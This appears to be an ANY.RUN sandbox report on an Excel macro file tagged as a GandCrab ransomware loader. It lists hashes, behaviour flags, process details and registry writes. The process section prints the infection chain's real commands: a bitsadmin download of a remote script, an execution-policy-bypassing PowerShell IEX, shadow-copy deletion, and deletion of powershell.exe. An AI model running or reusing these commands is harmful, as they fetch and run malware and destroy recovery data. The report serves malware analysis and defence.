General Info Watch the FULL Interactive Analysis at ANY.RUN!

File name

SOC test.xlsm

Verdict
Malicious activity
Analysis date
1/10/2019, 20:53:36
OS:
Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
loader
ransomware
gandcrab
trojan
Indicators:

MIME:
application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
File info:
Microsoft Excel 2007+
MD5

977924ef58a2edda76a9ba8c30cfb07d

SHA1

e172616d1df9b762e9dd7c3f357e3071ebc3a11b

SHA256

88c6b4ef5c42bb66cebf8825d693b58ef78f9c9feef7cd884eef823c78f0639a

SSDEEP

768:NrIjaPdlcZnH938rL40tUYwJgsb19nQFX4aqnRUPegn:V/PdeZdKLttigw9nQFX2UPegn

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distored by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Software environment set and analysis options

Launch configuration

Task duration
300 seconds
Additional time used
240 seconds
Fakenet option
off
Heavy Evaision option
off
MITM proxy
off
Route via Tor
off
Network geolocation
off
Privacy
Public submission
Autoconfirmation of UAC
on

Software preset

  • Internet Explorer 8.0.7601.17514
  • Adobe Acrobat Reader DC MUI (15.023.20070)
  • Adobe Flash Player 26 ActiveX (26.0.0.131)
  • Adobe Flash Player 26 NPAPI (26.0.0.131)
  • Adobe Flash Player 26 PPAPI (26.0.0.131)
  • Adobe Refresh Manager (1.8.0)
  • CCleaner (5.35)
  • FileZilla Client 3.36.0 (3.36.0)
  • Google Chrome (68.0.3440.106)
  • Google Update Helper (1.3.33.17)
  • Java 8 Update 92 (8.0.920.14)
  • Java Auto Updater (2.8.92.14)
  • Microsoft .NET Framework 4.6.1 (4.6.01055)
  • Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Professional 2010 (14.0.6029.1000)
  • Microsoft Office Proof (English) 2010 (14.0.6029.1000)
  • Microsoft Office Proof (French) 2010 (14.0.6029.1000)
  • Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
  • Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
  • Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Single Image 2010 (14.0.6029.1000)
  • Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
  • Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
  • Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
  • Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
  • Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
  • Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
  • Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
  • Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
  • Mozilla Firefox 61.0.2 (x86 en-US) (61.0.2)
  • Notepad++ (32-bit x86) (7.5.1)
  • Opera 12.15 (12.15.1748)
  • Skype version 8.29 (8.29)
  • VLC media player (2.2.6)
  • WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

  • Client LanguagePack Package
  • Client Refresh LanguagePack Package
  • CodecPack Basic Package
  • Foundation Package
  • IE Troubleshooters Package
  • InternetExplorer Optional Package
  • KB2534111
  • KB2999226
  • KB976902
  • LocalPack AU Package
  • LocalPack CA Package
  • LocalPack GB Package
  • LocalPack US Package
  • LocalPack ZA Package
  • ProfessionalEdition
  • UltimateEdition

Behavior activities

MALICIOUS SUSPICIOUS INFO
Deletes shadow copies
  • powershell.exe (PID: 3596)
Connects to CnC server
  • powershell.exe (PID: 3596)
Dropped file may contain instructions of ransomware
  • powershell.exe (PID: 3596)
Renames files like Ransomware
  • powershell.exe (PID: 3596)
GandCrab keys found
  • powershell.exe (PID: 3596)
Writes file to Word startup folder
  • powershell.exe (PID: 3596)
Unusual execution from Microsoft Office
  • EXCEL.EXE (PID: 2972)
Executes scripts
  • EXCEL.EXE (PID: 2972)
Actions looks like stealing of personal data
  • powershell.exe (PID: 3596)
Uses BITADMIN.EXE for downloading application
  • EXCEL.EXE (PID: 2972)
Starts CMD.EXE for commands execution
  • powershell.exe (PID: 3596)
Reads Internet Cache Settings
  • powershell.exe (PID: 3596)
Creates files like Ransomware instruction
  • powershell.exe (PID: 3596)
Reads the cookies of Mozilla Firefox
  • powershell.exe (PID: 3596)
Creates files in the user directory
  • WScript.exe (PID: 3328)
  • powershell.exe (PID: 3596)
Executes PowerShell scripts
  • WScript.exe (PID: 3328)
Reads settings of System Certificates
  • powershell.exe (PID: 3596)
Reads Microsoft Office registry keys
  • EXCEL.EXE (PID: 2972)
Dropped object may contain TOR URL's
  • powershell.exe (PID: 3596)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Static information

TRiD
.xlsm
|   Excel Microsoft Office Open XML Format document (with Macro) (50.8%)
.xlsx
|   Excel Microsoft Office Open XML Format document (30%)
.zip
|   Open Packaging Conventions container (15.4%)
.zip
|   ZIP compressed archive (3.5%)
EXIF
ZIP
ZipRequiredVersion:
20
ZipBitFlag:
0x0006
ZipCompression:
Deflated
ZipModifyDate:
1980:01:01 00:00:00
ZipCRC:
0xf3ea132d
ZipCompressedSize:
395
ZipUncompressedSize:
1257
ZipFileName:
[Content_Types].xml
XMP
Creator:
null
XML
LastModifiedBy:
null
CreateDate:
2006:09:16 00:00:00Z
ModifyDate:
2019:01:10 19:53:09Z
Application:
Microsoft Excel
DocSecurity:
None
ScaleCrop:
No
HeadingPairs
null
null
TitlesOfParts:
Sheet1
Company:
null
LinksUpToDate:
No
SharedDoc:
No
HyperlinksChanged:
No
AppVersion:
15.03

Screenshots

Processes

Total processes
46
Monitored processes
7
Malicious processes
3
Suspicious processes
0

Behavior graph

+
start excel.exe no specs bitsadmin.exe no specs wscript.exe no specs #GANDCRAB powershell.exe wmic.exe no specs cmd.exe no specs timeout.exe no specs
Specs description
Program did not start
Integrity level elevation
Task сontains an error or was rebooted
Process has crashed
Task contains several apps running
Executable file was dropped
Debug information is available
Process was injected
Network attacks were detected
Application downloaded the executable file
Actions similar to stealing personal data
Behavior similar to exploiting the vulnerability
Inspected object has sucpicious PE structure
File is detected by antivirus software
CPU overrun
RAM overrun
Process starts the services
Process was added to the startup
Behavior similar to spam
Low-level access to the HDD
Probably Tor was used
System was rebooted
Connects to the network
Known threat

Process information

Click at the process to see the details.

PID
2972
CMD
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde
Path
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Indicators
No indicators
Parent process
––
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Microsoft Corporation
Description
Microsoft Excel
Version
14.0.6024.1000
Modules
Image
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\program files\microsoft office\office14\gfx.dll
c:\windows\system32\wtsapi32.dll
c:\windows\system32\msimg32.dll
c:\program files\microsoft office\office14\oart.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\program files\common files\microsoft shared\office14\mso.dll
c:\windows\system32\msi.dll
c:\windows\system32\shlwapi.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\program files\common files\microsoft shared\office14\cultures\office.odf
c:\program files\common files\microsoft shared\office14\1033\msointl.dll
c:\program files\common files\microsoft shared\office14\msores.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\dwmapi.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\msimtf.dll
c:\windows\system32\version.dll
c:\program files\common files\microsoft shared\office14\riched20.dll
c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll
c:\windows\system32\mscoree.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
c:\windows\microsoft.net\framework\v2.0.50727\mscorwks.dll
c:\program files\common files\microsoft shared\officesoftwareprotectionplatform\osppc.dll
c:\windows\system32\uxtheme.dll
c:\windows\system32\powrprof.dll
c:\windows\system32\setupapi.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\devobj.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\system32\rpcrtremote.dll
c:\windows\system32\winsta.dll
c:\windows\system32\shell32.dll
c:\windows\system32\propsys.dll
c:\windows\system32\ntmarta.dll
c:\windows\system32\wldap32.dll
c:\windows\system32\profapi.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\wininet.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\mpr.dll
c:\windows\system32\msxml6.dll
c:\progra~1\common~1\micros~1\vba\vba7\vbe7.dll
c:\windows\system32\sxs.dll
c:\progra~1\common~1\micros~1\vba\vba7\1033\vbe7intl.dll
c:\windows\system32\wshom.ocx
c:\windows\system32\scrrun.dll
c:\windows\system32\ieframe.dll
c:\windows\system32\psapi.dll
c:\windows\system32\oleacc.dll
c:\windows\system32\shdocvw.dll
c:\windows\system32\bitsadmin.exe
c:\windows\system32\wpdshext.dll
c:\windows\system32\winmm.dll
c:\windows\system32\wscript.exe
c:\windows\system32\windowscodecs.dll
c:\program files\microsoft office\office14\gkexcel.dll
c:\program files\common files\system\ado\msadox.dll

PID
3344
CMD
"C:\Windows\System32\bitsadmin.exe" /transfer myFile /download /priority normal https://download1591.mediafire.com/50dbuyji2mvg/lqn7rd8dez3cvmc/obfuscated.tmp C:\Users\admin\AppData\Local\Temp\\pepe.js
Path
C:\Windows\System32\bitsadmin.exe
Indicators
No indicators
Parent process
EXCEL.EXE
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Microsoft Corporation
Description
BITS administration utility
Version
7.5.7600.16385 (win7_rtm.090713-1255)
Modules
Image
c:\windows\system32\bitsadmin.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\user32.dll
c:\windows\system32\usp10.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\version.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\system32\rpcrtremote.dll
c:\windows\system32\qmgrprxy.dll

PID
3328
CMD
"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\pepe.js"
Path
C:\Windows\System32\WScript.exe
Indicators
No indicators
Parent process
EXCEL.EXE
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Microsoft Corporation
Description
Microsoft ® Windows Based Script Host
Version
5.8.7600.16385
Modules
Image
c:\windows\system32\wscript.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\ole32.dll
c:\windows\system32\version.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\sxs.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\jscript.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\wintrust.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\system32\msisip.dll
c:\windows\system32\wshext.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
c:\windows\system32\shell32.dll
c:\windows\system32\scrobj.dll
c:\windows\system32\rpcrtremote.dll
c:\windows\system32\scrrun.dll
c:\windows\system32\wshom.ocx
c:\windows\system32\mpr.dll
c:\program files\common files\system\ado\msado15.dll
c:\windows\system32\msdart.dll
c:\windows\system32\mlang.dll
c:\windows\system32\propsys.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\ntmarta.dll
c:\windows\system32\wldap32.dll
c:\windows\system32\profapi.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\wininet.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\setupapi.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\devobj.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\sfc.dll
c:\windows\system32\sfc_os.dll

PID
3596
CMD
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "IEX (([System.IO.File]::ReadAllText('C:\Users\admin\AppData\Roaming\tnqalxuybs.log')).Replace('?',''));"
Path
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Indicators
Parent process
WScript.exe
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Microsoft Corporation
Description
Windows PowerShell
Version
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Image
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\shell32.dll
c:\windows\system32\userenv.dll
c:\windows\system32\profapi.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\setupapi.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\devobj.dll
c:\windows\system32\propsys.dll
c:\windows\system32\ntmarta.dll
c:\windows\system32\wldap32.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\shdocvw.dll
c:\windows\system32\linkinfo.dll
c:\windows\system32\ntshrui.dll
c:\windows\system32\srvcli.dll
c:\windows\system32\cscapi.dll
c:\windows\system32\slc.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
c:\windows\system32\version.dll
c:\windows\microsoft.net\framework\v2.0.50727\mscorwks.dll
c:\windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcr80.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system\9e0a3b9b9f457233a335d7fba8f95419\system.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\4bdde288f147e3b3f2c090ecdf704e6d\microsoft.powershell.consolehost.ni.dll
c:\windows\assembly\gac_msil\system.management.automation\1.0.0.0__31bf3856ad364e35\system.management.automation.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.management.a#\a8e3a41ecbcc4bb1598ed5719f965110\system.management.automation.ni.dll
c:\windows\system32\psapi.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.core\fbc05b5b05dc6366b02b8e2f77d080f1\system.core.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\e112e4460a0c9122de8c382126da4a2f\microsoft.powershell.commands.diagnostics.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.configuratio#\f02737c83305687a68c088927a6c5a98\system.configuration.install.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.wsman.man#\f1865caa683ceb3d12b383a94a35da14\microsoft.wsman.management.ni.dll
c:\windows\assembly\gac_msil\microsoft.wsman.runtime\1.0.0.0__31bf3856ad364e35\microsoft.wsman.runtime.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.transactions\ad18f93fc713db2c4b29b25116c13bd8\system.transactions.ni.dll
c:\windows\assembly\gac_32\system.transactions\2.0.0.0__b77a5c561934e089\system.transactions.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\82d7758f278f47dc4191abab1cb11ce3\microsoft.powershell.commands.utility.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\583c7b9f52114c026088bdb9f19f64e8\microsoft.powershell.commands.management.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\6c5bef3ab74c06a641444eff648c0dde\microsoft.powershell.security.ni.dll
c:\windows\microsoft.net\framework\v2.0.50727\culture.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.xml\461d3b6b3f43e6fbe6c897d5936e17e4\system.xml.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.management\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\system.management.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.directoryser#\45ec12795950a7d54691591c615a9e3c\system.directoryservices.ni.dll
c:\windows\system32\shfolder.dll
c:\windows\system32\secur32.dll
c:\windows\system32\sspicli.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.data\1e85062785e286cd9eae9c26d2c61f73\system.data.ni.dll
c:\windows\assembly\gac_32\system.data\2.0.0.0__b77a5c561934e089\system.data.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\nsi.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\microsoft.net\framework\v2.0.50727\mscorjit.dll
c:\windows\system32\mpr.dll
c:\windows\system32\wininet.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\drprov.dll
c:\windows\system32\winsta.dll
c:\windows\system32\ntlanman.dll
c:\windows\system32\davclnt.dll
c:\windows\system32\davhlpr.dll
c:\windows\system32\wkscli.dll
c:\windows\system32\netutils.dll
c:\windows\system32\browcli.dll
c:\windows\system32\wbem\wmic.exe
c:\windows\system32\iconcodecservice.dll
c:\windows\system32\windowscodecs.dll
c:\windows\system32\dnsapi.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\winnsi.dll
c:\windows\system32\normaliz.dll
c:\windows\system32\rasapi32.dll
c:\windows\system32\rasman.dll
c:\windows\system32\rtutils.dll
c:\windows\system32\sensapi.dll
c:\windows\system32\nlaapi.dll
c:\windows\system32\rasadhlp.dll
c:\windows\system32\mswsock.dll
c:\windows\system32\wshtcpip.dll
c:\windows\system32\wship6.dll
c:\windows\system32\fwpuclnt.dll
c:\windows\system32\wintrust.dll
c:\windows\system32\schannel.dll
c:\windows\system32\credssp.dll
c:\windows\system32\ncrypt.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\bcryptprimitives.dll
c:\windows\system32\gpapi.dll
c:\windows\system32\cryptnet.dll
c:\windows\system32\cabinet.dll
c:\windows\system32\devrtl.dll
c:\windows\system32\winhttp.dll
c:\windows\system32\webio.dll
c:\windows\system32\dhcpcsvc6.dll
c:\windows\system32\dhcpcsvc.dll
c:\windows\system32\ieframe.dll
c:\windows\system32\oleacc.dll

PID
2884
CMD
"C:\Windows\system32\wbem\wmic.exe" shadowcopy delete
Path
C:\Windows\system32\wbem\wmic.exe
Indicators
No indicators
Parent process
powershell.exe
User
admin
Integrity Level
MEDIUM
Exit code
2147749908
Version:
Company
Microsoft Corporation
Description
WMI Commandline Utility
Version
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Image
c:\windows\system32\wbem\wmic.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\framedynos.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\wtsapi32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\nsi.dll
c:\windows\system32\secur32.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\winnsi.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\wbem\wbemprox.dll
c:\windows\system32\wbemcomn.dll
c:\windows\system32\msxml3.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\wininet.dll
c:\windows\system32\msasn1.dll
c:\windows\system32\crypt32.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\shell32.dll
c:\windows\system32\profapi.dll
c:\windows\system32\ntmarta.dll
c:\windows\system32\wldap32.dll
c:\windows\system32\dnsapi.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\system32\rpcrtremote.dll
c:\program files\common files\microsoft shared\office14\msoxmlmf.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\system32\wbem\wbemsvc.dll
c:\windows\system32\wbem\fastprox.dll
c:\windows\system32\ntdsapi.dll
c:\windows\system32\wbem\wmiutils.dll

PID
3960
CMD
"C:\Windows\System32\cmd.exe" /c timeout -c 5 & del "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /f /q
Path
C:\Windows\System32\cmd.exe
Indicators
No indicators
Parent process
powershell.exe
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Microsoft Corporation
Description
Windows Command Processor
Version
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Image
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\timeout.exe

PID
3472
CMD
timeout -c 5
Path
C:\Windows\system32\timeout.exe
Indicators
No indicators
Parent process
cmd.exe
User
admin
Integrity Level
MEDIUM
Exit code
1
Version:
Company
Microsoft Corporation
Description
timeout - pauses command processing
Version
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Image
c:\windows\system32\timeout.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\version.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll

Registry activity

Total events
1111
Read events
989
Write events
114
Delete events
8

Modification events

PID
Process
Operation
Key
Name
Value
2972
EXCEL.EXE
delete key
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
2972
EXCEL.EXE
delete key
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
2972
EXCEL.EXE
delete key
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\20EE2E
2972
EXCEL.EXE
delete key
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery
2972
EXCEL.EXE
delete key
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\20EF28
2972
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
g),
67292C009C0B0000010000000000000000000000
2972
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
1033
Off
2972
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
1033
On
2972
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
MTTT
9C0B0000148038361EA9D40100000000
2972
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
UNCAsIntranet
0
2972
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
AutoDetect
1
2972
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\20EE2E
20EE2E
040000009C0B00002F00000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C0053004F004300200074006500730074002E0078006C0073006D00000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C000100000000000000F03E29371EA9D4012EEE20002EEE200000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2972
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\20EE2E
20EE2E
040000009C0B00002F00000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C0053004F004300200074006500730074002E0078006C0073006D00000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C000100000000000000F03E29371EA9D4012EEE20002EEE200000000000AC020000001800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000